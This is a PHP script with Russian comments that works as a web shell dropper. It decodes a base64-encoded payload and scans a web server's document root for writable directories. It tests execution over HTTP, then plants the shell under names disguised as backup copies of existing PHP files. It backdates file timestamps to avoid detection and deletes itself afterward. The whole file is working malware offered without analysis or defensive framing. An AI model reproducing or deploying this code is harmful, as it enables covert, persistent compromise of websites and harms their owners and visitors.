<?php
@ini_set('error_log', NULL);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@date_default_timezone_set('UTC');

// Определение хоста
if(isset($_SERVER['HTTPS'])) $scheme = $_SERVER['HTTPS'];
else $scheme = '';
if($scheme && $scheme != '' && $scheme != 'off') $host = 'https://'.$_SERVER['HTTP_HOST'];
else $host = 'http://'.$_SERVER['HTTP_HOST'];

$homedir = @$_SERVER['DOCUMENT_ROOT'];

// Изменяется внешним скриптом
$shell = rtrim(base64_decode("PD9QaFAKLyokazI2aGdnIiIsNnZJYGNYc35dSSIqLEJpcGtjKUZaTk4lKC9gQGtRdTY5cSIncyovIAkJICAvL0tJd3k9JnNGYUknNzwKIzB8bEt3MWZML2w+aSk4cFtKclFCX1V7WAoJLy9hc3guR1xzTjxYIm1fV29GZCAoYUNYYHFyRkF4MncvL0F8RgogI01Ien56d3x7WnNYW1o5N1tPP2dqcWkvMG9WOg0vKk9fQ247MmIsN34gX3YqfSZQK3R+TGd7XVQ9X1NHXEleKXZBKi8vKiw1N3kwJlt4L0Q8dzNUKE9qLyovKAkjNSVQNywqUEc/aXI4YSJXUmlwamA1XC5BZHRsY0JrWlMKUkVxVUlSRQkjWV5bV1wzTGJ+eiVmNkRIUEMgI3dQXFIoUiQNfiAJLy9hTWsscGdkXCBTeFgwZX1lI10qMUNJQGtZKC90NSVFY1QlSwpVcmxkRUNPRGUjTD41WScuKmBddTtFQy4kRms5UVJNeWVnOTRVRl5nJFFoKCY0NCAxDSgvKj9FTHxefmFDTiMje3lyNi9lIiZcKi8nJScvKmFWbStVbDhAcDBmTEtKRiMoO0xvR2BANE9ZPTBnPCRhLz4qLy4JLypOUzVjSClNKltANGRPPCoqOGFXMzcgbyJFM2R8TFR+dW1xNWAvNFRWXUNpOlVxVUwqSWwqLyI4ZiU5IiM1SmBgX3BEQHtTKFMtUzNtIVBVaitXdSBXPWlyIHM7U1A2VDduOChzNG8lOmN8Vi0NLi8vZCIgRDFmKlVASCxiMCs3fTplNmQ6QmVADSc3JThmJyAvKld2OzhdcXInTWZvN1lhamxaRmYpcT5ueyBWNytDYCpWTiBfREBxQD5DU1FCdCovLgkJLypvYEk/LHlzZEEiK2ByViBVcVlEd0wiTDtqQjRyfm13TFZobmFIV0hpRkVyVk0qLyIlQzUlIi8qbj11S0FsfkpjL0RUeSRqXERKNmlCQjlvVk0qLy4jRTg7Z2QsJnMpN09KT21ZaVE6fjQNJ0QwJWQnLy9tNzVrWSpHdVhMfFdJcT8lCi4jLEMxZCFWIlBTQHxpQnVLfCJFeSsicTgNIjAlOTkiLyplR148IDZFQnB+TSc4aSNsNWF4e1hEYjc/IDc+UyNLXShMe0EwTklcKi8uLy90XSBLSFNMcFQzNQ0nJTk2JScjSSxcJS82YHdfJklcazt8OXo0MgouI05sQ0diTFovOVY+IWx1WjowMH0tIE8/O3k5QFwxc3JVRWBfV2VIKU0wPG1XRjFsag0nOTMlOCcgIzxGaTMyRT5wfnonJSFIVDo0IFFtTitOTi9XZGEgDS4jMGxiQlFMJHNoK18mOXkKJ0IlOUEnCSM/MmFYP29jRUc2RzdvYnpJKndScD84KzVuNTFlQEkjZ3FiZAouLyo5ZCwyZE5yTnhTMXEjRCpSaTo/Jio/VGomYF0qLyIlOGQlIi8vbWZPJEEuRS1oXlw1eEhHIn1JOkNlVVhMKTRLOWtbUyxzIDZ0fGpuTXpQZjZfDS4vKjtQP1wmJ0NTcGEmflhzcS9SfCc8X3Y6XTNWbmhATF48LkEqLyJkMCU4IiMvKFVCYXB9OFJDc2IiXmI/KDspQUlOWUQKLiM7TShEOXhBbThWOkk2JWl3eVlwOVwoKGwKJ0MlOEInI1pEW09sfX41dXpTMGAkWF59Ow0uI0pzeyZIdWQreGlQfCNebj0qd1ljckBBaGpRTy4+TiENIiU4RCUiIylsUkAqdEhxOjlTfXEpT2I5fC87fTJ9emhWUUpDdSdaUSZ5SHdvcw0uCS8vcCclajw2elhHLTFJaEk5WH5SJls3fWBifGENIjk2JTkiCSMuLD9kdSM7VElSK35HS1B3ekh5J0dPRzV+IkpEeipFIkN3NC5gcVl0JXwzell5Ci4vKnJHVE1zTyZweGAlQUsqLyIxJTk4Ii8vVGw1Nz5SZ1RaO0Y4V1Y7bDx+Oj9pKEA5QDRxVWYqey1wKlNZfDwxZg0uLypmUlVHaklgZ1M8ZzooM0lPcVw2dCRkfmUkIHsuJm15PTlHZ1NmKi8iJWQxJSIjRTh4bCdoMD8/XGpOXS1GJ21UY3t5eD4kMD5RMGJ7eTVLLDtYZnNsUltqWk13XDFkMVEKLiM/YypeYyBKOiQpRiVwTQonOEQlOScvLzgyLmZPMCRuNlE9d0kwPXd4OkJUWn48NTF2WXkmQXojZU4maGc/M2gNLi8qdVglWCohT2wwMzk/IlQnRSssK2E9ZnExc3J2YE1HVSovJzAlOGInIyA7SDQrV29RZztAUFcNLi8vLTdXJTRjRXhqd0FncX0jZlYrdCtkIGshNjRKeCM1YDZyK3wkUmMkDSIlQ2UlIi8vc00iV1pxTyI/bG9iKXM7KSpUMikrCi4jMHc/ZG9jYm5STE5ZdHh0UTVsLiBYSUJXMUh9amtReTIxZCNkTz4gCidjYyU4JwkgLypcP1Yve3ZcUUlBRGs1dTxwKDE5QHw4em1DKHdraS9AazZGaFZYYjU8QnAnLjE2d2pQKyovLi8qX0h4dW1WQU9HKTA9RmgmJHpGdkJLfksnKi8nMyU5QycjIyg6YHBwNXZsJi5VaE06T0MmYXVTMjhRMyl5LiJ+JT1tYEYnXiBNeSUnR3pcDS4gLyp2U0oqd3d9RVlPeGZTLSxgMiAsey9aYmFFVC1hVj8xKi8nJTkwJScvLzJzMXtNST42KCFKPWhPUysxQFxeLzc5VT81MFwicGNUKF58VGlvdW9yIjZtQztlWiA0IQouIyZOeVBlXiRpOXRPaFdOOGVMOi9zdW9LbWAgKTotVWYNIjkxJTgiIC8qImtmRjQ8QX1BXVtRJnc3b1EjLDpQWE8jeWQjc0pVciovLgkJIzIoQHg1R05jajRyWEI/Mkx5NEQ3TnZmPis7dThlMENeO2MKIjklOWEiLy9BLVxSJ1Jgdk43JjFpb1BHUidyPEl+VkdxMVpyNnMvOlw2IXFnOE9BMTtuCi4vKlp1PSwmenp3UnB+WnxCUCRIMXhRIzx1cXdNUmtkR0omVSdBX2NYKCtkKi8iJThkJSIjSj1Dc0kiUD5vNE5TO0EzYXtqYG5pQylydDx0IVwzeGVmWERxYmxWY2IqYWJ0LFxuTAouCSMvSiQ7QGdaV1diYXVxTUArVCN3DSI4YiVkIi8vbjB1RnxrbyRRNio0SkBmekFDYmhfL1BwfDBLfHxvWTNcLTEKLiAvKlhUPm0zcVExP1xsKi8nMSU5ZCcvL3xfOHIsPCJcP2xmZXFOZl8mO2xZLmNOOTZBeWNUVD1XZnM9cnR4bGBbLDxacVElDS4jJlhKdyw0JmVsUTpwdSAhUmhAXi4ybGN5Qkc9TUs0ZFNIP054aDsKIiU5RSUiIz5qdSJZYy8zRmhPPDdwZn1EUCxaaS18VHVDKUhXKDBwZU5uCi4gCS8qKD84QkQgTDEraFlnUiF6QiovIjhjJTkiCS8qJWtrbjVja2R5JCVJTUIoJyViY2AnSSovLi8qXyMnRHJbIytkay92LXQueFc9Qmk6JHBUXCovIkElQzkiLy8hPlIgPnhwLk0wZ35uJQouLyokPll2cUljNGpkdXxIPjpmZkY0PX54LjI0TT94fDYsRCovIiVjYiUiLy96c31kKSR+NUwsRDQxc0hyMXJYTjpiTlRfT3Y8fDhWT201fSQ7Oko7PEkNLi8qRlM6IzlSRjw3UF0oKFp0K11FT3ZuZUgvRy9XMS5GJH1ddlljPn5UKi8iRDIlOSIvL3RAc1s/UGNmNGtAP0Ijfl5LcC8mQDs4KmhkIkIqOWYNLi8vTD5BWW19anQ5Ml5iRk1OeCcjMiw8e0wqUGNqcnhePnM+Uz90LUlITHlXQ1U8SCR9RUI9CidCJTlBJy8vR35qTy1YZiNubk8/PFA3X2hFUjU/REhOIGJ3c1EhNUENLi8qLzJXNmI8anFFNTIhb3cqLyclOWMlJy8vVW5iN28xeTxOZmpTP3pIdTVOb1U6bE4uSWd7eThDe2s+DS4vKnwwSW8id3shLWE0ckN7ZnI3bGJWQE5qRXN8MTFGTVZ7eidvRTJXcjdZKi8iOTAlOSIjRj00OEMnQWU0NlhWPn13QGdvTGl2OGhgfGNIenxEIwouCS8qPW1GQENASTVFbSRQTz9sLmc6JWdTKyI9dSA1PGpsOlEtVGM2Tjg0IkBaZXRPJUIsRDEqLydiJTlBJyNSYCFHInJGMnpSIG8xCi4vKnVsMSZRKURxbDtmKFxyI0kxJyFFeDkqLyIlODMlIi8vfHFteFVULzU+eEFAfHNJWTp+J081R258MF0uUXZUTShbK1BMDS4vKj02UUR+Vy4rXVJPfGcqLyc4NSU5Jy8vZUl6KmpsLTFTNiY/cVIoZFhWd31sMiNZYztTKnlJI2sKLiNBSkhNZHxVIzl+RT5LZHN8SDpbSEwNIjMlOTYiI1N4TFRSLXQ0Wk05KWdEdjFwcS4nKkNnPS1vdUU+W1RxNjl7M24+DS4vL28rMGVSQnhMaWI9eCNORmRDDSIlOUQlIiAvL3h3ayRjczJEVmBWSXlaW3lfeydlUmJGSzJqT3ANLi8vbmhJIXghM3koQDNmaywjXloobT5FciF1Mic8CidkMSU5JyAJLyotMC4udEpZRmhUdmhzeUZUWFtmaGB0c0BId3swJ1QqLy4vL2lNb2NtTypEYChoQjM8dzxyIU1VXWZzLXBYKClRIFFxcnZUN25Cd1cyWV9vQS89LmUKIjYlOTEiI0M7aChtJU9KZEpJODNaWTtmMXA2R0M+cH1KcVw8RyR7ZVVbCi4gCSAgLy9IM0ZzdHAkUE1SPmFzJzlVclpqbFt1X0ZfS0wqLygvS2BCJjNRDSIlOTklIi8qTG08UGZvWjwvd0QxU0R+WzQpMmFlXC00XmQ2UXdrXF93NmIqLy4JLyojJG4kbkhrNSBpd1JCWyFrN0FkLjVoZn0nJy5YVWJWYSVwZDJgJ1ZjUVhlWFoqLyc5MyU5JyM+T0NMW2xdQXBgcTh7bFc0PzdDY0I3ZEhoeldRXEhMd354dmREQF5BMwouIC8vblJ9ckFOJkcnSEQhSUVcKjlLMmQnOW18cX5TMVRAJ19jTF0zUWA4IHlZIzgNJ2UlOEInIzJ4cCFhYDk7TX1+PEpMdzQ/OmdPYGJlSGRgQVBsSVd7K1tbOnNjL15ALHNEdl9qRGNiZQ0uLy9kcE91OSozMVpiY0gwfT1uSj1BY3ZQXjJhdk9UbUcje1INJyU5QSUnI1JGSSVwa3JoUzJUaGt2KDtNKks1IDQpZik0InJYRSZUfjQufkd+ez4nPVFZDS4vKiVWYGF4YkVFaVF3VHFYc2dPSmlofDlJJWVlIUZVSVYiUlMkTyNaSyovJ2QwJTgnCSAgCS8vSmV+T0swVk05YXd6S0ZfXHF0Qlh1RWVsIg0uICAvKjkkPDdeICVJNVo8d2ViL0pmN3l8Y3Vsfmk1NlllZ3xqV21TR1xVfjxlcWpwfUx4ISovJ2QlOUEnLyplIV8/KzpuXFU1I1NMI0wgeltcdX1zIWNkaj82K0xlYVhUKi8uLyolS1JqMls5SG8idy9NUix9Sl5DNEY+aFZMSHstM3h4V3JfLT9bNEwwWlhBM1tBPzYyZ3oqLyclOEMlJyM+J1AhWyo/b1QwaC5WPClfT3d5fCosUlEuTE9WSHFzLUE3LWwNLi8qQHg7Sz9tMXU/OGpFZVg0cS89MFZKPGtuQzpuaD0lXDk6YUpgTjpuKi8nOTAlOCcJIz5MMU41Q2BRKVRBaDRSKWVZNypOLm1mLyRTYT0kcWlNU2pSeSNOCi4vKmU6b1d6RHpCcG9hOExlM1NgKndYaXUlKi8iQSU4ZCIvL1JpZW5iMDZkMT4sLSlZZnQ8IjImJW0xYzU/NUxZI1IzRl0hX0srd3t1RWs0cSRALWNvVQouIC8qNjw0MTpVNXJ6T0RhSiE9SiouX3B+X2pnX3YmZylgcEkvLnBZT0J2Q0ZzNXVETyovIiU5YyUiI0IzLlUxUHNecUpDeVx4Iyp5XHt2TChrX24KLi8vNU8oRD0+VD0zbDcoWGBfM2AuSTx9X1ZOIkYsXmVsR0JRZlxCdi50IzcrJUc5DSc5YSVDJwkvLyRbUFc6RCFbVF4scXdbZXYgPlZQVjhONH5uIHFXVjV6Ci4vL3JXIUBjInlzNFZCQDc8bXt3XmU7ZAoiMiU4RiIvLzU3d0RdWXE8YWU2XTdBTyIrP0JKcUwybU02V1M5S2tCJipWXl9hQTk/KzhhCi4jQVY/MDoobUlVc30ick4nYF0lTH5EbjNcWUlNc1VCP2tmX2QiUm9laWglXm5SSWIrLQ0iJTk3JSIvKiZwR2BTUzV6S1s7fT18JyovLi8qSyBZLVFScUkpQ0YoVldtLnNYeXQzYFNcUzBkZylERlJFV0YzcjkoTUF+SUNLXiwqLyc5ZSU4Jy8vVCMuTUNbWl8lSU8KLi8vVW9QaCZkOCU5WCd+e3Z4UUN4JUN2VjgpVHkKImQlQzUiLy9RL1xSNEpEU0JLaipSUWxHJmspV1RTPXVdWCJDSjd3bHAtR0Y7XUpOJURuU0VyVEhUDS4gLyohJi9ZTC5IWSFaaGomImZsfDRbTE0qS1FLUyovJyVEMCUnLy9wYSpcJUJBKkgza2QtIkhFbXZJd1oyMDp7Jjp7dixNKDFVLSk7fWQtMGZYUGNQLGtRDS4vL3JATTwwVCVoeHY9JlZqaXNoe2EiQkhxP1JpLV5mOmIjPXtvU0BRcGBjCidkMCcjSlJfJHo7QTtsRXAkNEgwYA0pIyNQaHlZdzlEQi4gLlt2YnAkT0JiX1ANLi8qQyx6UyQ+KkhcMEIqL19fZmlMZV9fIy0oUWAtU1V+bTJHKjJ9QzJuRW8mayt8M3t0XD9tNj8jLSVFXH5IfUp+d0A9UTcKLiMoJEBFK0g/RUxVY1tfPDFCalghLCMNIi8iIC8qdWk0NndwITN4InVTQUIpajBxbHJAMGFZO2JMKi8uCS8vSjEhPjZvUzkteWNsLyZwVlozMHNWYW59Cn4JLy9lcDpveTFHSn13fjdiPnZIJyhVNXNTMk4mV0JiLwoikoiQhZyVkYaKlZHMipiQzZ6VkoiGi4bRloWShorNhoiKiyIjVS5hV0w6SiokWUhgQkJgJlwgdzc9anpnezN+WCFVSyogcFpmJD5sZylIDSkjT2R5cD5ubGIvcnpFS0gpW3c9RDZFQmo1eVRiKXtDTXoKOyNPPXpdR2pzJX0kfiE9VEEtNVs4MEorXWNmejAgNlV4U1Nvcl0gSE8KX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpQAAAAAQAAABEAAAABAAAAAAAAAAAAIgAAAG13b3pjam55dWpuM3VnbzJham13eXR5Lml6bXl1Mnl3dXSyAQAABEVmabIBAABTRfWXpAEAAAAAAABlSVNlbjhWalNDMjhEaTlRMHA3SmJuV2c0dENxRDdHdEU1eWZvT3RFb0laQWQ3Sm02SUwzOWc5MythUC9MVlNteDNpaDYzTm1oYi8yeG5Xcm5xSzUxQjg1aC9zeTgzSmE5eWRNSU9nN3NldmNscDlJK0NYeTNnK0FmeEVJMHFwbU1tazFVdXNuZW9vd3B1WlJyNzdrK1B4MjYwQUlSbzV6dnd3ejBpbVlKa2RHTGx1NVhXZlk3dkxhVnAvQStHUkQ3Z3lMMXJpbmc2Y2JCWWRZcXVKSjJ2N3RmN0dLTXp6M1U3VUhudy90RUc5dEJ0VXBpZjVGNmY5TEZodEx1d3VqZURLWnlkVHBRU09lckgvVjV0cExyUzBQUVZPaHJxQlBmbWpIMkZLVU5vaFZKRU00a1Btajl1TGcyaktzbCtiN3RXaGNOUnR6V1docm5wVEFUWEt5VDcwYmxIS3kvSHQ1QzU5V2wzYXJzK3ZlUVppOStxdnMwR1duSHVrNC91Wk02NGhOZTZBUmVnM3ZPMldHOWtpTDlGSGhEd3FWQ043Mmp2RXVWWlgzeGl3NU9EPT0NCknV4Qcp+ENkdFV8hZS1YuUfGVRKAgAAAEdCTUI="), "\r\n");
$default_filename = 'ht.php';
$try_random = '1'; // 0 - only default_filename, 1 - to try random

if($handle = opendir($homedir)) // Попытка раз
{
   while (false !== ($file = readdir($handle)))
   {
	   if($file == "." or $file == "..") continue;
	   if(filetype($homedir.DIRECTORY_SEPARATOR.$file) == "dir") $root_dirs[$file]=$homedir.DIRECTORY_SEPARATOR.$file;
   }

	shuffle($root_dirs);
	foreach($root_dirs as $root_name => $root_dir)
		$result[$root_name] = scan($root_dir);

	if(count($result) > 0)
	foreach($result as $info)
	{	
		if(!isset($info['dir']) || count(@$info['dir']) == 0) continue;
		if(!isset($info['file']) || count(@$info['file']) == 0) continue;
		$info['dir'] = array_unique($info['dir']);
		shuffle($info['dir']);
		if($try_random == '1')
		{
			$info['file'] = array_unique($info['file']);
			shuffle($info['file']);
		}
		else $info['file'] = array($default_filename);
		
		foreach($info['dir'] as $random_dir)
		{
			foreach($info['file'] as $random_file)
			{
				if(count($info['dir']) == 1 && $try_random == '1')
				{
					$suffix = array('_', '.old', '_old', 'old', 'bak', '.bak', '_bak', '1', '2', '3', '_1', '_2', '_3', '.1', '.2', '.3');
					shuffle($suffix);
					$replace = $suffix[0].'.php';
					$random_file = preg_replace('/\.php$/i', $replace, $random_file);
				}
				$random_path = $random_dir.DIRECTORY_SEPARATOR.'t_s_'.$random_file;

				if(!is_file($random_dir.DIRECTORY_SEPARATOR.$random_file))
				{
					if(is_writable($random_dir))
					{
						$dir_time = filemtime($random_dir);
						if($handle = opendir($random_dir))
						{
							$old_time = microtime(1);
							while (false !== ($file = readdir($handle)))
							{
								if($file == "." or $file == "..") continue;
								$filemt = filemtime($random_dir.DIRECTORY_SEPARATOR.$file);
								if($filemt < $old_time) $old_time = $filemt;
							}
							$old_time = ($dir_time < $old_time) ? $dir_time : $old_time;
							$test_str = '<?php echo md5(23); ?>';
							if(file_put_contents($random_path, $test_str))
							{
								$url = $host.str_replace('\\','/',str_replace($homedir,'',$random_path));
								if($content = get($url))
								{
									if(preg_match('/'.md5(23).'/', $content))
									{
										unlink($random_path);
										$random_path = str_replace('t_s_', '', $random_path);
										if(file_put_contents($random_path, $shell))
										{
											chmod($random_path, 0755);
											touch($random_path, $old_time);
											touch($random_dir, $dir_time);
											endik(str_replace('/t_s_', '/', $url));
										}
										else endik('re_error_write');
									}
								}
								if(file_exists($random_path))
								{
									unlink($random_path);
									touch($random_dir, $dir_time);
								}
							}
						}
					}
					break(1);
				}
			}
		}
	}
}

if(is_writable(dirname($_SERVER['SCRIPT_FILENAME']))) // Попытка два
{
	$old_time = (filemtime("./") < filemtime("../")) ? filemtime("./") : filemtime("../");
	$file = dirname($_SERVER['SCRIPT_FILENAME']).DIRECTORY_SEPARATOR.$default_filename;
	if(file_put_contents($file, $shell))
	{
		touch($file, $old_time);
		$url_path = str_replace('//', '/', dirname($_SERVER['PHP_SELF']).DIRECTORY_SEPARATOR.$default_filename);
		endik($host.$url_path);
	}
	else endik('re_error_write');
}else endik('re_error_right');

// Функции
function scan($homedir, $count=0, $files=array()) 
{
   $scan_max = 2;
   $subdir = array();
   if($count > $scan_max) return $files;
   if($handle = opendir($homedir))
   {
		$files['dir'][] = $homedir;
		while(false !== ($file = readdir($handle)))
		{
			if($file == "." or $file == "..") continue;
			$fullPath = $homedir.DIRECTORY_SEPARATOR.$file;
			if(filetype($fullPath) == "dir")
			{
				$files['dir'][] = $fullPath;
				$subdir[] = $fullPath;
			}
			elseif(!preg_match('#(index\.php|admin\.php)#', $file) and preg_match('/\.php$/i', $file)) $files['file'][] = $file;
		}
		++$count;
		if(count($subdir) > 0)
		foreach($subdir as $dir) $files = scan($dir, $count, $files);

   }
   return $files;
}

function get($url)
{
	if(is_callable("curl_exec"))
	{
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0');
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		$content = curl_exec($ch);
		curl_close($ch);
		return $content;
	}
	elseif(is_callable("file_get_contents") && filter_var(ini_get('allow_url_fopen'), FILTER_VALIDATE_BOOLEAN))
	{
		return file_get_contents($url, false, stream_context_create(array(
			"ssl" => array("verify_host" => false, 
				"verify_peer" => false, 
				"verify_peer_name" => false, 
				"allow_self_signed" => true
				),
			"http" => array(
				"header" => "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0"
				)
			)));
	}
	elseif(is_callable("fsockopen"))
	{
		if($fp = fsockopen(parse_url($url, PHP_URL_HOST), 80, $e, $e, 15))
		{
			$out ="GET ".parse_url($url, PHP_URL_PATH)." HTTP/1.1\r\n";
			$out.="Host: ".parse_url($url, PHP_URL_HOST)."\r\n";
			$out.="User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:38.0) Gecko/20100101 Firefox/38.0\r\n";
			$out.="\r\n";
			fputs($fp, $out);
			$content = '';
			while(!feof($fp)) {
				$content .= fgets($fp, 1024);
			}
			fclose($fp);        
			return $content;
		}
		else return false;
	}
	else return false;
}

function endik($msg) {
	@unlink(__FILE__);
	$result = '<result>'.$msg.'</result>';
	die($result);
}
?>